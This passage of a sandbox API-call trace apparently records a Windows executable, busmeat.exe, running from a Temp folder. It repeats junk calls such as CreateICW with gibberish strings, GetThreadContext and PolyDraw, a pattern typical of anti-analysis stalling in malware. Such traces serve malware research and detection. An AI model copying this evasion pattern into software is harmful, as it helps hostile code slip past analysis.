[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.147] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.148] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.148] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.148] GetConsoleCP () returned 0x0
	[0066.148] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.148] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.149] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.149] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.149] GetConsoleCP () returned 0x0
	[0066.149] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.149] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.150] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.150] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.150] GetConsoleCP () returned 0x0
